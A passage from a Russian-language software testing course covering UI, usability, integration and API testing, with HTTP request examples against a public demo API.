разрешениях и сделать скриншот. Тема 20. Тестирование UI и верстки UI (user interface — пользовательский интерфейс) — является точкой взаимодействия человека и продукта. Дизайн кнопок, полей ввода и т.д. — это место, где пользователь взаимодействует с системой. Таким образом, Вы можете сравнить UI с рулем, педалями и приборной панелью автомобиля. Они используются для управления автомобилем так же, как приложение использует UI (пользовательский интерфейс) для управления системой. Короче говоря, дизайн пользовательского интерфейса (UI) — это дизайн точек взаимодействия, через которые пользователь может взаимодействовать с системой. Тестирование интерфейса пользователя осуществляется вместе со следующими видами тестирования (UI): 1. Тестирование на соответствие стандартам графических интерфейсов. 2. Тестирование с различными разрешениями экрана. 3. Тестирование кроссбраузерности или совместимости с разными интернет браузерами и их версиями. 4. Тестирование локализованных версий: точность перевода (мультиязычность, мультивалютность), проверка длины названий элементов интерфейса и т.д.. 5. Тестирование графического интерфейса пользователя на целевых устройствах (смартфоны, кпп, планшеты). Основные элементы графического интерфейса: • Окно (окно браузера, диалоговое окно, модальное окно, плавающее окно). • Меню (главное, всплывающее, контекстное, системное). • Виджеты/элементы управления/контролы (аккордеон, кнопка, радио-кнопка, чекбокс, значок (иконка), список, панель инструментов, дерево, полоса прокрутки, ползунок, строка состояния, тултип (подсказка) и др.). • Вкладка. • Элементы взаимодействия: курсор мыши, текстовый курсор, поинтер (“ладошка”), курсор перетаскивания и др. Основные проверки при тестировании UI: • Расположение, размер, цвет, ширина, длина элементов; возможность ввода букв или цифр. • Реализуется ли функционал приложения с помощью графических элементов. • размещение всех сообщений об ошибках, уведомленией (а также шрифт, цвет, размер, расположение и орфография текста). • Читабелен ли использованный шрифт. • Переходит ли курсор из текстового в поинтер при наведении на активные элементы, выделяются ли выбранные элементы. • Выравнивание текста и форм. • Качество изображений. • Проверить расположение и отображение всех элементов при различных разрешениях экрана, а также при изменении размера окна браузера (проверить, появляется ли скролл). • Проверить текст на орфографические, пунктуационные ошибки. • Появляются ли тултипы (если есть необходимость). • Унификация дизайна (цвета, шрифты, текст сообщений, названия кнопок и т.д.). Тестирование Pixel Perfect - проверка точного (пиксель в пикcель) соответствия сверстанного HTML-шаблона оригиналу (PSD-макету). Другими словами, если наложить “картинку” сверстанного HTML-шаблона на картинку оригинального PSD-макета, то обе картинки должны совпадать. Совместиться должны все элементы картинок: текст, изображения, графические элементы. При проектировке качественного UI уделяется внимание не только внешнему виду интерфейса, но и его логической структуре, чтобы пользователь мог без лишних усилий, быстро и легко взаимодействовать с ним и добиваться необходимого результата. Но, чтобы четко понимать, как создать качественный пользовательский интерфейс для конкретного продукта, необходимо изучать поведение, эмоции и реакцию пользователей при взаимодействии с данным продуктом, проводить тестирование, собирать данные. Человек, взаимодействуя с какой-либо системой, испытывает ощущения и реагирует определенным образом в процессе ее использования. Это называется опытом взаимодействия, или UX. User Experience (пользовательский опыт)— ощущение, испытываемое пользователем во время использования цифрового продукта, в то время как User interface — это инструмент, позволяющий осуществлять интеракцию «пользователь — веб-ресурс». UX — это то, что чувствует и запоминает пользователь в результате использования программы, приложения или сайта. UX учитывается при разработке UI, создании информационной архитектуры, юзабилити тестировании. Определив целевую аудиторию и характеристики основного пользователя можно составить список требований к проекту. Для простоты усвоения разницы между 2 этими понятиями рассмотрим наглядный пример: предположим, мы едим сэндвич с сыром. Ощущения, получаемые во время поедания сэндвича, это и есть пользовательский опыт. Ингредиенты, составляющие наш воображаемый бутерброд (хлеб, майонез, сыр, сливочное масло и т. д.), могут считаться частью пользовательского интерфейса. Ощущение, что мы получаем, когда едим бутерброд, можно считать UX, а ингредиенты сэндвича ассоциируются с UI Сэндвич, сделанный из белого хлеба и сыра и майонеза с высоким содержанием жиров, на вкус почти также хорош, как бутерброд, состоящий из цельнозернового хлеба, низкокалорийного майонеза и нежирного сыра. Однако люди, стремящиеся к здоровому образу жизни, отвергнут первый сэндвич в пользу второго. Итак, у нас есть хороший интерфейс в обоих случаях, но мы не провели пользовательское исследование (а это неотъемлемая часть UX), мы не знаем соотношения пользователей, которые будут/не будут использовать наш продукт, в результате чего мы теряем весомую часть целевой аудитории. Процесс проектирования UX включает в себя исследование поведенческих паттернов и психологических реакций пользователей, разработку информационной архитектуры, дизайн взаимодействия (interaction design), дизайн пользовательского интерфейса, интерактивное прототипирование макета (interactive prototyping) и тестирование юзабилити (usability testing). Дизайнеры пользовательского интерфейса должны обладать навыками в области визуального дизайна, иконографики и типографики, однако в перечень их служебных обязанностей не обязательно входит проведение пользовательских исследований или построение информационной архитектуры веб-ресурса. А вот дизайнеры пользовательского опыта должны дополнительно еще и разбираться в исследованиях целевого рынка, information architecture и дизайне взаимодействий (что автоматически подразумевает базовое знание поведенческой психологии) и т. д. Юзабилити (usability) –дословно с английского означает: возможность использования или полезность. Юзабилити - это больше мера дружелюбности сайта или интерфейса программы, поскольку оно помогает сделать сайт понятным и естественным для пользователя. Тестирование удобства пользования (Usability Testing) - это метод тестирования, направленный на установление степени удобства использования, обучаемости, понятности и привлекательности для пользователей разрабатываемого продукта в контексте заданных условий. Можно выделить этапы тестирования удобства использования пользовательского интерфейса: 1.Исследовательское - проводится после формулирования требований и спецификаций к системе, а также после разработки прототипа интерфейса. Основная цель на этом этапе выяснить, позволяет ли он с достаточной степенью эффективности решать задачи пользователя. 2. Оценочное - проводится после разработки низкоуровневых требований и детализированного прототипа пользовательского интерфейса. Оценочное тестирование углубляет исследовательское и имеет ту же цель. На данном этапе уже проводятся количественные измерения характеристик пользовательского интерфейса: измеряются количество обращений к системе помощи по отношению к количеству совершенных операций, количество ошибочных операций, время устранения последствий ошибочных операций и т.п. 3. Валидационное - проводится ближе к этапу завершения разработки. На этом этапе проводится анализ соответствия интерфейса программной системы стандартам, регламентирующим вопросы удобства интерфейса, проводится общее тестирование всех компонентов пользовательского интерфейса (с точки зрения конечного пользователя). Под компонентами интерфейса здесь понимается как его программная реализация, так и система помощи и руководство пользователя. Также на данном этапе проверяется отсутствие дефектов удобства использования интерфейса, выявленных на предыдущих этапах. 4. Сравнительное- данный вид тестирования может проводиться на любом этапе разработки интерфейса. В ходе сравнительного тестирования сравниваются два или более вариантов реализации пользовательского интерфейса. Из этого следует, что UI-тестирование, предполагает под собой тестирование на основании требований к внешнему виду пользовательского интерфейса и формам взаимодействия с пользователем. На какие требования стоит обращать внимание при UIтестировании: • Требования к размещению элементов управления на экранных формах. • Требования к содержанию и оформлению выводимых сообщений. • Требования к форматам ввода. • Требования к реакции системы на ввод пользователя. • Требования к времени отклика на команды пользователя. Важно обращать внимание на: • Простоту использования сайта или интерфейса. • Эффективность использования. • Запоминаемость. • Ошибки, их количество и серьезность. • Удовлетворение пользователя (субъективное). GUI тестирование включает: • • Тестирование пользовательского интерфейса (UI) – тестирование, выполняемое путем взаимодействия с системой через графический интерфейс пользователя: o навигация; o цвета, графика, оформление; o содержание выводимой информации; o поведение курсора и горячие клавиши; o отображение различного количества данных (нет данных, минимальное и максимальное количество); o изменение размеров окна или разрешения экрана. Тестирование удобства использования (Usability Testing) – тестирование с целью определения степени понятности, легкости в изучении и использовании, привлекательности программного продукта для пользователя при условии использования в заданных условиях эксплуатации: o визуальное оформление; o навигация; o • логичность. Compatibility testing (тестирование совместимости) – процесс тестирования для определения возможности взаимодействия программного продукта, проверка работоспособности приложения в различных средах (браузеры и их версии, операционные системы, их типы, версии и разрядность) Виды тестов: • Кросс-браузерное тестирование (различные браузеры или версии браузеров). • Кросс-платформенное тестирование (различные операционные системы или версии операционных систем). Особенности GUI мобильного приложения Опыт взаимодействия пользователя описывается с учетом типа пользователя, осуществляющего работу с интерфейсом определенного вида. Способ и варианты взаимодействия зависят от таких факторов, как тип устройства, тип операционной системы, тип и назначение программного продукта. В связи с этим выделяют стили пользовательских интерфейсов, которые наиболее популярны при проектировании информационных систем: • Графический пользовательский интерфейс (GUI). • Пользовательский веб-интерфейс (WUI). • Пользовательский интерфейс мобильных устройств (HUI). Для каждого из указанных типов интерфейсов существуют стилевые правила (styleguides), которые являются основой создания единообразных и предсказуемых интерфейсов. Стилевые правила могут также формулироваться и по отношению к интерфейсу разрабатываемой системы, регламентируется их соблюдение на всех этапах разработки. 1. Графический пользовательский интерфейс (GUI) Графический интерфейс пользователя (Graphical User Interface, GUI) регламентирует диалог пользователя с ПК посредством экранных графических компонентов. Такой тип интерфейса, как было описано выше, называется также "полный WIMPинтерфейс". Элементами интерфейса (элементами управления) становятся примитивы графического пользовательского интерфейса, имеющие унифицированное визуальное исполнение и выполняющие стандартные действия. Основополагающим в графическом пользовательском интерфейсе становится визуализация информации, т.е. предпочтение в использовании графических элементов вместо текстовой информации (например, выбор пиктограммы программного приложения вместо поиска его в списке имеющихся). 2. Пользовательский веб-интерфейс (Vebuserinterface) Пользовательский веб-интерфейс включает все аспекты веб-сайта или веб-приложения, относящиеся к информационному наполнению, функциональным возможностям, навигации, взаимодействию и представлению, которые существенны для использования веб-приложения или веб-сайта. Диалог пользователя с веб-интерфейсом возможен через специальную программу, которая называется браузер. Браузеры — специальное программное обеспечение, используемое для запроса, обработки, манипулирования и отображения содержания электронных страниц. Основными элементами взаимодействия являются ссылки, связывающие электронные страницы по сетевому принципу. Важно учитывать функциональные возможности браузера в работе с электронными страницами и соотносить с действиями, осуществляемыми пользователями на веб-странице. Дизайн веб-страниц определяется целями проекта, предоставляемыми функциональными возможностями, типом информационного содержания и навигационной структурой. Компоновка элементов веб-страниц не является столь регламентированной, как в ОШинтерфейсах. Графика, анимация, текст в веб-интерфейсах могут выполнять как оформительские, так и навигационные функциональные задачи. В связи с этим возникает опасность возникновения внешнего визуального шума и увеличения времени отклика при загрузке и раскрытии графических файлов. Веб-интерфейсы изначально проектировались в целях реализации информационной поддержки пользователей. Тенденцией современности является предоставление пользователям более широких функциональных возможностей, позволяющих не только осуществлять чтение и перемещаться между страницами, но и решать различные задачи. В связи с этим веб-ориентированное программное обеспечение становится все более похожим на ОШ-ориентированное программное обеспечение в силу наибольшего удобства и привычности первого. 3. Пользовательский интерфейс мобильных устройств (Н1Л) Мобильные интерфейсы становятся все более популярными ввиду стремительного развития мобильного Интернета, чему способствует рост рынка мобильных устройств и развитие сетей 4G, обеспечивающих пользователей высокоскоростной передачей данных. К мобильным устройствам принято относить мобильные телефоны, смартфоны и коммуникаторы. Повседневная деятельность человека становится неразрывно связанной с возможностями, которые предоставляют мобильные устройства: ориентирование в городской среде посредством геолокации, совершение покупок онлайн, банковское обслуживание и быстрые платежи через платежные системы, коммуникация посредством социальных сетей и др. Общий стиль интерфейса мобильного устройства можно охарактеризовать как SIMPинтерфейс: «Экран — Пиктограмма — Меню — Указатель». На мобильных платформах под окнами понимаются элементы интерфейса, занимающие все пространство экрана устройства. Переход между такими окнами осуществляется при помощи графических элементов-навигаторов или перетягиванием их при помощи пальца (в основном большого). Особенности проектирования мобильных интерфейсов определяются, в первую очередь, спецификой операционной системы. Среди наиболее распространенных операционных систем для мобильных устройств можно назвать следующие: Google Android, Apple iOS, Windows Mobile, Palm OS, Symbian OS, BlackBerry OS. Ha рынке России первую позицию занимает операционная система Android (50,65% рынка декабрь 2014 г.), на втором месте находится iOS (43,59%), на третьем — Windows Phone, которая становится все менее популярной (2,42%) . В рамках данной работы, будем акцентировать внимание на программных продуктах, работающих на платформе Android. Методы тестирования Usability мобильных приложений Мобильный рынок огромен и растет быстрыми темпами. По оценкам, по всему миру около 4,5 млрд. пользуются мобильным интернетом. Прогнозируется, что число мобильных телефонов в скором времени превысит население мира. Именно поэтому бизнес все больше вливается в мобильную разработку и ищет ниши, на которых можно заработать. Если Вы хотите создать приложение для iOS или Android, то особое внимание нужно уделить его юзабилити. Удобство использования мобильного приложения. На что больше всего тратят время пользователи телефонов? Недавнее исследование показывает, что пользователи телефонов в США тратят 86% своего времени использования смартфонов исключительно на приложения.Кроме того, было установлено, что мобильные пользователи тратят 80%, используя только пять приложений (из 24 приложений, которыми они обычно пользуются). Forbes оценивает, что к следующему году пользователи загрузят почти 270 миллиардов приложений. Для того, чтобы попасть в пятерку приложений, которыми пользуются ежедневно, важно не только наполнение сервиса и его идея, но и его юзабилити. Юзабилити приложений Android или iOS очень важно для пользователей, например, я удалю приложение, если мне не будет комфортно и удобно в нем работать. Какое бы оно полезное ни было, я загружу аналог из Google Play. Что такое Usability мобильного приложения Общая тенденция среди успешных приложений для мобильных телефонов заключается в том, что пользователи воспринимают их интуитивно, как легко обучаемые, удобные и менее трудоемкие при выполнении задач. Несмотря на важность удобства использования мобильных приложений, принципы юзабилити не составляют согласованный список к руководству. Поэтому лучший способ оценить удобство использования мобильных приложений - это тестирование юзабилити. Прежде чем тестировать сервис, нужно разработать план тестирования юзабилити. Обычно он содержит следующие разделы: • Цели и задачи теста. • Вопросы исследования. • Характеристики приложения. • Метод тестирования. • Список заданий. • Испытательная среда, оборудование и логистика. • Собираемые данные и меры оценки. • Презентация отчета. Методы оценки юзабилити разные у разных команд и тестировщиков. Например, Дэвид Трэвис из User Focus предлагает такой план тестирования: • Цели теста. • Задачи, которые будет выполнять приложение. • Тестовые документы (форма содержания, сценарий ориентации, анкеты до и после тестирования). • Участники теста. • Метод испытания. Цели теста юзабилити Первый шаг любого тестирования юзабилити - обозначить цели. На какие вопросы Вы хотите ответить с помощью теста юзабилити? Какую гипотезу Вы хотите протестировать с помощью теста юзабилити? Итак, как же установить цели? Майкл Марголис из Google Ventures предлагает задать несколько вопросов заинтересованным сторонам приложения (в том числе и разработчикам): • Road map приложения. • Пользователи и рынки, на которые нацелено приложение (целевая аудитория). • Конкуренты приложения. • Исследования, которые уже были выполнены. • Потенциальное влияние вышеупомянутых исследований. • Сроки и масштаб. Полученные ответы дадут вам две очень важные вещи: • Что заинтересованные стороны уже знают. • Что они хотели бы знать. Исходя из ответов на вопросы, теперь легче начать определять цели и показатели юзабилити. Также очень важно, чтобы выявленные цели были конкретными, измеримыми и расположенными по приоритету Задачи, которые будет выполнять приложение Как только цели будут установлены, настало время перейти к следующему этапу - задачи. Формулировка должна состоять из взаимодействий, которые должны выполняться пользователями, например: • Зарегистрировать аккаунт. • Войти в свой аккаунт. • Загрузить фото. • Принять запрос друга. Задачи должны быть преобразованы в сценарии. Они обеспечивают больше контекста для участника тестирования и больше похожи на естественные взаимодействия, которые типичный пользователь будет выполнять с Вашим приложением. В этом отношении заданные сценарии задач должны быть: 1) Реалистичными, действенными и без каких-либо подсказок о том, как конкретно их выполнять (если тестируемый не сможет понять, как выполнить действие, следовательно, Ваш сервис не интуитивно понятный); 2) Происходит в последовательности, которая обеспечивает плавный поток тестового сеанса. Как и при любой форме тестирования, очень важно выполнить сухой тест на юзабилити, чтобы гарантировать, что выполнение задач в конечном итоге достигнет поставленных целей. Участники тестирования Юзабилити мобильных приложений ориентировано на пользователя. Это означает, что реальные пользователи выполняют реалистичные задачи, связанные с приложением. Хотя тестирование с реальными пользователями является более ресурсоемким, это дает более точные результаты. Мы рекомендуем рекрутировать участников тестов, которые используют свои устройства не менее 3 месяцев. Это позволит преодолеть любые трудности, связанные с использованием устройства, а не с самим приложением. В дополнение к этому, использование собственных устройств участников теста позволит выявлять больше проблем, поскольку они будут использовать реальные устройства, а не устройства верхнего уровня и быстрые интернет-соединения, которые обычно доступны в средах разработки. Помните о том, что подбирать нужно участников, которые соответствуют целевой аудитории приложения. Вы можете создать пользовательского персонажа, описать его характеристики и подбирать участников тестирования в соответствии с портретом персонажа. Методы юзабилити тестирования Существует два основных метода проведения юзабилити-тестирования мобильных приложений • Лабораторное тестирование юзабилити. • Удаленное тестирование юзабилити. Тема 21. Интеграционное тестирование Интеграционное тестирование (в общем случае) - это вид тестирования, при котором проверяется взаимодействие модулей между собой, а также интеграция подсистем в одну общую систему. Для интеграционного тестирования используются компоненты, уже проверенные с помощью модульного тестирования. Модули соединяются между собой с помощью так называемых интерфейсов. Интерфейс это граница между двумя функциональными модулями, например: • Между двумя модулями одной подсистемы может быть налажено взаимодействие через интерфейс, который определяет способы взаимодействия модулей между собой. • Между клиентом и сервером (согласно клиент-серверной архитектуре) реализуется интерфейс, с помощью которого передаются данные от клиента серверу и обратно. • Между двумя различными приложениями многосоставной системы налаживается "общение" с помощью интерфейсов. Основная цель интеграционного тестирования - проверить интерфейсы между модулями. Важно понимать, что в рамках интеграционного тестирования не проверяются end-to-end бизнес сценарии. Так как в процессе тестирования у нас нет потребности рассматривать внутреннюю структуру каждого компонента в отдельности, можно утверждать, что интеграционное тестирование выполняется методом «черного ящика». Уровни интеграционного тестирования Различают два основных уровня интеграционного тестирования: 1. Компонентный; 2. Системный. На компонентном уровне интеграционного тестирования проверяется взаимодействие между компонентами системы после проведения компонентного тестирования. Другими словами, проверяется, насколько корректно взаимодействуют протестированные в отдельности модули между собой. На системном уровне проверяется взаимодействие между разными системами после проведения системного тестирования. Подходы к интеграционному тестированию Снизу вверх (Bottom Up Integration) Все низкоуровневые модули, процедуры или функции собираются воедино и затем тестируются. После чего собирается следующий уровень модулей для проведения интеграционного тестирования. Это продолжается до тех пор, пока не будут интегрированы все модули и конечная система не образует единый модуль. В случае, представленном на изображении выше, модули B1C1, B1C2, B2C1 и B2C2 являются самыми "низкими" модулями и протестированы отдельно друг от друга с помощью модульного тестирования. Модули B1 и B2 еще не разработаны. В связи с тем, что разработка модулей B1 и B2 находится в процессе, то для тестирования необходима программа, которая обращалась бы к функциям модулей B1C1 и B2C2. Такие программы называются драйверами и представляют собой функции, которые обращаются к функциям более низких уровней. Драйверы необходимы для того, чтобы с помощью интерфейсов вызывать в рамках тестирования более низкие модули. Данный подход считается полезным, если все (или практически все) модули разрабатываемого уровня готовы. Также данный подход помогает определить уровень готовности приложения по результатам тестирования. Подход "Снизу-Вверх" позволяет обнаружить дефекты на ранних этапах и позволяет просто локализовать сами дефекты и причины их возникновения. Недостатком такого подхода является то, что приходится тестировать модули еще до того, как будет реализована "главная" программа, что, соответственно, требует технических навыков. Сверху вниз (Top Down Integration) Вначале тестируются все высокоуровневые модули, и постепенно, один за другим, добавляются низкоуровневые. Все модули более низкого уровня симулируются заглушками с аналогичной функциональностью, затем, по мере готовности, они заменяются реальными активными компонентами. Таким образом, мы проводим тестирование сверху вниз. Большой взрыв ("Big Bang" Integration) Все (или практически все) разработанные модули собираются вместе в виде законченной системы или ее основной части и затем проводится интеграционное тестирование. Другими словами, тестирование начинается от середины схемы модулей (для картинки выше) и двигается в обе стороны одновременно. Такой подход очень хорош для сохранения времени. Однако если тест кейсы и их результаты записаны не верно, то сам процесс интеграции сильно осложнится, что станет преградой для команды тестирования при достижении основной цели интеграционного тестирования. Так же данный подход требует больше ресурсов, в связи с его сложностью. В целом, для проведения хорошего интеграционного тестирования необходимо: 1. Знать архитектуру приложения; 2. понимать назначение модулей; 3. понимать, как данные передаются из одного модуля в другой; 4. определить условия, при которых происходит взаимодействие между модулями; 5. разрабатывать отдельные тесты на каждое из условий. Тема 22. Тестирование API API (Application Programming Interface) расшифровывается как “интерфейс прикладного программирования” или “интерфейс программирования приложений”. Он позволяет осуществлять связь и обмениваться данными между двумя отдельными модулями программы. Система программного обеспечения, реализующая API, содержит функции/подпрограммы, которые могут быть выполнены с помощью другого программного обеспечения. "Общение" между модулями приложения происходит с использованием стандартных форматов XML и JSON и посредством специальных протоколов REST и SOAP. Например, некое приложение, сервис предоставления данных о прогнозе погоды - имеет API, которым могут пользоваться разработчики. То, каким образом разработчики будут пользоваться, зависит от возможностей API. Например, может ли API выдавать данные о прогнозе погоды на неделю вперед, по каким городам мира выдаются данные, возможно ли запросить такие данные, как скорость ветра, давление и т.д. Форматы данных Как и говорилось выше, основные форматы, которые используются для передачи данных в API - это JSON и XML. На изображении ниже представлена одна и та же информация в разных форматах. В JSON существуют типы данных, которые записываются по-разному. Данные в JSON записываются парами "Ключ":"Значение". Например: {“name”:”JamesKirk”} Имя параметра — это строка в двойных кавычках слева от двоеточия. {“name”} Значение — может быть строкой в двойных кавычках, числом, логическим значением (true или false), объектом, массивом, или значением null. Эти структуры могут быть вложены друг в друга. {”JamesKirk”} Объект — это множество пар "Ключ":"Значение", заключённое в фигурные скобки { }. Между именем параметра и значением стоит двоеточие ":", а пары "Ключ":"Значение" разделяются запятыми “,”. { “name”:”JamesKirk”, "age":40 } Строка — это упорядоченное множество из нуля или более символов Unicode, заключенное в двойные кавычки. Массив — это множество объектов. Массив заключается в квадратные скобки [ ], а значения отделяются запятыми (см. пример на изобрежнии выше). В XML данные хранятся между так называемыми "тэгами". Существуют открывающие и закрывающие тэги, а данные, в свою очередь, хранятся между ними. Например: <note> - открывающий тэг; </note> - закрывающий тэг. Примечательно то, что тэги чувствительны к регистру. Другими словами, нельзя использовать открывающий тэг <MESSAGE> и закрывающий тэг </message>. XML воспринимает это как разные тэги. Более подробно о принципах построения XML можно изучить в официальной документации тут. XML является более громоздким форматов данных и все больше разработчиков API от него отказываются. Понятие HTTP HTTP (Hyper Text Transfer Protocol) – широко распространённый протокол передачи данных, изначально предназначенный для передачи гипертекстовых документов. По умолчанию используется 80-ый порт. HTTPS (Hyper Text Transfer Protocol Secure)— безопасный протокол передачи гипертекста. Это расширение протокола HTTP, поддерживающее шифрование посредством криптографических протоколов SSL и TLS. По умолчанию используется 443ий порт. Спецификация HTTP (и HTTPS) определяет то, как запросы к серверу должны быть построены, и то, как сервер должен отвечать на эти запросы. Основные свойства HTTP: • Не зависит от соединения. Для отправки запроса клиент устанавливает соединение с сервером и отсоединяется после отправки запроса. Сервер, в свою очередь, обрабатывает запрос и устанавливает соединение с клиентом для отправки ответа и отсоединяется после нее. Ни клиент, ни сервер не "знают" ничего о состоянии друг друга до начала соединения и после его окончания. • Не привязан к конкретному типу данных. Можно передавать любой тип данных при условии, что и клиент, и сервер способен работать с выбранным типом данных. • Взаимодействует только через соединение. Клиент и сервер могут взаимодействовать друг с другом только с помощью запроса. Из-за этой особенности ни клиент, ни сервер не могут получить информацию за пределами запроса. Запросы HTTP Клиент отправляет запрос на сервер в виде метода, URL и версии протокола, после которого идет некоторое сообщение, которое и содержит данные запроса. Разберем подробнее каждую из частей запроса. Method (метод) - это действие, которое мы хотим произвести над ресурсом на сервере. Их достаточно большое количество, но выделим основные 4: • GET - предназначен для получения ресурса с сервера; • POST - отправляет данные на сервер с созданием новой записи; • PUT - отправляет данные на сервер с перезаписью существующей записи; • DELETE - удаляет данные ресурса. GET POST PUT DELETE Только получает данные ресурса Может получать и отправлять данные ресурса Перезаписывает существующий ресурс Удаляет указанный ресурс Передает данные в URL Передает данные в теле запроса Передает данные в теле запроса Данные могут передаваться в теле и в URL запроса Имеет ограничение на длину 255 символов Нет ограничений по длине Нет ограничений по длине Нет ограничений по длине Можно использовать только символы ASCII Можно использовать символы любой кодировки и передавать файлы Можно использовать символы любой кодировки и передавать файлы Можно использовать только символы ASCII Не безопасен (нельзя передавать пароли) Более безопасен Более безопасен Не безопасен Request URI - строка запроса, которая содержит последовательность символов к ресурсу, а также (опционально) параметры запроса, которые могут передаваться прямо в строке запроса (например, для GET). Для передачи параметров в строке запроса необходимо следовать ряду определенных правил: • Параметры отделяются от адреса символом "?". • Каждый параметр задается парой "Ключ" и "Значение". • "Ключ" и "Значение" разделены между собой символом "=". • При необходимости задать несколько параметров в одной строке запроса, они отделяются друг от друга символом "&". Например, в строке запроса http://example.com/path/to/page?name=ferret&color=purple: • http://example.com/ - базовый адрес (base URL), с которого будут начинаться все запросы; • /path/to/page - путь к ресурсу относительно базового адреса; • Параметр name со значением ferret; • Параметр color со значением purple. Стоит отметить, что данные в строке запроса должны передаваться в специальной кодировке - URL Percent Encoding. Таким образом, чтобы передать в строке запроса, например, символы кириллицы, необходимо перевести их в этот формат. В сети существует множество инструментов, позволяющих легко перевести строку запроса в нужный формат. Protocol version - версия протокола HTTP (практически всегда используется HTTP/1.1). Headers (заголовки или "хедеры") - часть запроса, в которой хранится необходимая для выполнения запроса информация от клиента. Заголовки представляют пары "Ключ":"Значение". Они содержат различную информацию о HTTP-запросе и Вашем браузере. Например, строка "User-Agent" предоставляет информацию о версии браузера и операционной системе, которую Вы используете. "Accept-Encoding" сообщает серверу, может ли Ваш браузер принимать сжатый output, например, gzip. В свою очередь, ответ сервера так же содержат заголовки. Эти значения могут содержать информацию о софте сервера при последнем изменении страницы/файла и прочее. Опять же, большинство этих headers на самом деле являются необязательными. Кроме этого, сервер отправляет так же код состояния (statuscode) ответа. Коды состояния делятся на 5 групп: 1хх Информационные 2хх Успешные 3хх Перенаправление 4хх Ошибки клиента 5хх Ошибки сервера Body (тело запроса) - опциональное поле, в котором передается вся необходимая информация, которую нужно передать на сервер. Рассмотрим выполнение запросов на примерах. Общим предусловием для всех примеров будет наличие сайта https://reqres.in, который позволяет производить различного рода действия над пользователем. В данном случае, https://reqres.in - это базовый адрес (base URL), к которому будут добавляться пути к ресурсам. GET запрос. Имеет функцию получения списка пользователей. Задача данной функции отображать список пользователей по три записи на странице. GET /api/users?page={page_number} Получим список пользователей для второй страницы: Как мы видим, в поле ниже мы получили ответ в формате JSON, который содержит 3 записи о пользователях. POST запрос. Функция используется для входа в приложение и возвращает ответ со значением токена авторизации. POST /api/login Параметры тела запроса: • email – новое имя пользователя; • password – новая профессия пользователя. Вызов функции и ответ сервера будет выглядеть таким образом: В данном примере строка запроса не содержит параметров. Body запроса же в свою очередь содержит два параметра - email и password. Ответ функции содержит Body с токеном авторизации пользователя. PUT запрос. Функция изменения данных пользователя. Возвращает ответ с измененными данными пользователя и датой изменения. PUT /api/users/{user_id} Параметры тела запроса: • name – новое имя пользователя; • job – новая профессия пользователя. Подставив параметры в URI и тело запроса, получим: DELETE запрос. Функция удаления данных пользователя. Функция возвращает пустой ответ и код 204 (No Content) DELETE /api/users/{user_id} Тело запроса не содержит данных. Подставив нужный идентификатор пользователя в строку запроса, удалим его данные: Понятие REST REST (Representational state transfer) - подход к разработке клиент-серверных приложений. Приложения на REST архитектуре должны быть: • Клиент-серверными. • Взаимодействие между клиентом и сервером должно быть на HTTP. • Все операции над ресурсами указываются в самих запросах. В архитектуре REST все данные являются "ресурсами" Все, что необходимо сделать с ресурсом в архитектуре REST, несется в самом запросе. • Stateless – состояние клиента не сохраняется на сервере. Каждый раз, при обращении клиента к серверу, сервер воспринимает клиента как нового. Для аутентификации клиента на сервере могут использоваться cookies, например: сookies предоставляет дополнительную информацию от клиента пользователю (позиции в корзине пользователя в интернет-магазине). • Возможность работать с любыми форматами данных (json, xml, text…). Понятие SOAP SOAP (Simple Object Access Protocol) является стандартизированным протоколом передачи сообщений между клиентом и сервером. Обычно он используется совместно с HTTP(S), но может работать и с другими протоколами прикладного уровня (например, SMTP и FTP). В отличие от REST, который может использовать любые форматы данных, SOAP работает только с XML форматом. При работе всегда удобно иметь стандартизированное описание возможных XML-документов и проверять их на корректность заполнения. Для этого существует XML Schema Definition (или сокращенно XSD). Две главные функции XSD для тестировщика – это описание типов данных и наложение ограничений на возможные значения. Например, некоторые элементы ответов сервера можно сделать необязательным для заполнения или ограничить его размер 255 символами с помощью XSD. Чем подробнее описан XSD, тем меньше головной боли доставит Вам тестирование сервиса. С помощью выстроенной схемы сервис сам сможет валидировать полученные данные и возвращать пользователю ошибку. Подробнее прочитать про XSD можно на w3schools и codenet (по-русски). WSDL (Web Services Description Language) – это язык на основе XML, который используется для описания веб-сервисов. В WSDL-документе содержится информация о местонахождении сервиса и доступных методах (операциях). Для каждого метода определяются параметры отправляемого и получаемого сообщения. Обратите внимание на то, что XSD может быть «встроен» внутрь WSDL-документа (например, у Yandex Speller API). Типы тестов, применимые к тестированию API В целом, к тестированию API применимы следующие типы тестов: • Функциональное тестирование – тесты должны выполнить набор вызовов, задекларированных в API, чтобы проверить общую работоспособность системы. • Usability-тестирование – проверяет, является ли API функциональным и обладает ли удобным интерфейсом, также проверяется интеграция с другими. • Тестирование безопасности – проверяет используемый тип аутентификации и шифрование данных с помощью HTTP. • Автоматизированное тестирование – создание скриптов, программ или настройка приложений, которые смогут тестировать API на регулярной основе. • Тестирование документации– проверяется полнота описаний функций API, её понятность. При тестировании API необходимо проверять следующие моменты: • Правильный ли метод используется для того или иного запроса? • Проверяйте, что клик по одной и той же кнопке вызывает один и тот же запрос. • Вникайте в отправляемые запросы. Анализ запросов – это возможность обнаружить спрятавшийся дефект гораздо быстрее, чем осуществляя его поиск в интерфейсе. • Мониторьте трафик на предмет запросов на другие сервера. • Внимательно следите за кодами состояний С помощью тестирования API можно обнаружить следующие типы ошибок: • Сбой обработки ошибочных условий при передаче корректных и некорректных данных в запросах. • Неиспользуемые флаги в параметрах запросов. • Отсутствующая или дублирующаяся функциональность. • Вопросы надежности: трудности при подключении и получении ответа от API. • Проблемы с безопасностью. • Проблемы многопоточности. Лучшие практики тестирования API: • Тест-кейсы должны быть сгруппированы по тестовым категориям. • Каждый тест должен включать декларацию тестируемой функции. • Выбор параметров должен быть явно упомянут в самом тесте. • Установка приоритетов вызова функций API. • Каждый тест должен быть самодостаточным и независимым друг от друга. • Особую осторожность следует соблюдать при обращении к функциям удаления, закрытия окна и прочим. • Вызов последовательности действий должен быть хорошо спланирован и выполнен. • Для обеспечения полного тестового покрытия создавайте тестовые случаи для всех возможных комбинаций входных данных. Так же мы можем использовать такие общепринятые техники, как анализ граничных значений и разбиение на классы эквивалентности. В API запросах в явном виде могут передаваться значения параметров. Это отличный повод выделить границы входных и выходных значений и проверить их. Даже у небольшого API есть множество вариантов использования и множество комбинаций входных и выходных переменных. Поэтому мы можем лишний раз использовать наши навыки выделения эквивалентных классов. Тестирование API обладает рядом преимуществ перед обычным тестированием через UI: • Точное понимание, где происходит ошибка и чем она вызвана. • Тратится меньше времени на подготовку тестовых данных. • Возможно выполнение тестов на больших объемах данных с приемлемой скоростью. • Можно начать тестирование на ранних этапах, когда еще нет интерфейса Проблемы, с которыми сталкиваются тестировщики при 